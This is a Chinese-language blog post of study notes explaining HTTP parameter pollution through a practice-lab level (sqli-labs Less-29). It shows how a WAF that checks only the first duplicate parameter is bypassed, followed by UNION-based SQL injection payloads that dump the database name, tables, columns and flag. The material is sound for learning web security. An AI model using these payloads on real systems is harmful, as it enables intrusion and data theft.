参数污染学习笔记


参数污染

今天刷题时碰到的一个靶场题目,less-29,基于WAF的一个错误。把前面的学到的东西全用上了,还是绕不过这个waf😭于是去网上找wp去了才知道这题涉及参数污染。

参数污染原理

HTTP参数污染,也叫HPP(HTTP Parameter Pollution)。简单地讲就是给一个参数赋上两个或两个以上的值,由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理,而且不同的网站后端做出的处理方式是不同的,从而造成解析错误。

也就是说不同的web服务器对传入的参数值的获取情况是不同的。

Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache Getvalue(“par”) All(List)
ASP/IIS Request.QueryString(“par”) All(comma-delimited string)

image-20220327163617580

image-20220327163629480

image-20220327163644857

对于PHP/Apache服务器来说,当你传入两个参数时?id=1&id=2,他只会接受最后面的这个参数

image-20220327163819637

image-20220327163844318

而他的waf是部署在JSP/Tomcat服务器上的,只对第一个参数进行验证。这样我们就可以对第二个参数进行注入以达到绕过waf的目的了!!!

image-20220327164255661

他的架构图差不多是这种结构,用户端只能和JSP/Tomcat服务器通信,经过waf过滤,把参数传递给apache服务器,apache再返回信息给tomcat,tomcat再返回给客户端。

解题步骤

爆数据库名

payload
?id=1&id=-2'union select 1,2,database()--+
返回为
Your Login name:2
Your Password:security

爆表名

payload
?id=1&id=-2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
返回为
Your Login name:2
Your Password:Is91EZHt,emails,referers,uagents,users

爆列名

payload
?id=1&id=-2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='Is91EZHt'--+
返回为
Your Login name:2
Your Password:id,flag

找数据

payload
?id=1&id=-2'union select 1,2,group_concat(flag) from Is91EZHt--+

参考博客

HTTP参数污染 - 珍惜少年时 - 博客园 (cnblogs.com)

[参数污染漏洞(HPP)挖掘技巧及实战案例全汇总 - 云+社区 - 腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1516333#:~:text=HTTP参数污染,也叫HPP(HTTP Parameter Pollution)。 简单地讲就是给一个参数赋上两个或两个以上的值,由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理,而且不同的网站后端做出的处理方式是不同的,从而造成解析错误。,在不同的搜索引擎中进行搜索,在地址栏输入URL:%3Fp%3Dusa%26p%3Dchina,这里重复相同搜索参数,观察搜索结果的不同: 2)Yahho接受第二个参数(china)而放弃第一个参数(usa): 3)Google会将两个值都接受,并通过一个空格将两个参数连接起来,组成一个参数: 1)对于PHP%2FApache服务器,取最后一个值: HPP漏洞的产生原因一方面来自服务器处理机制的不同,另一方面来自开发人员后端检测逻辑的问题。)


文章作者: lengf233
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lengf233 !
  目录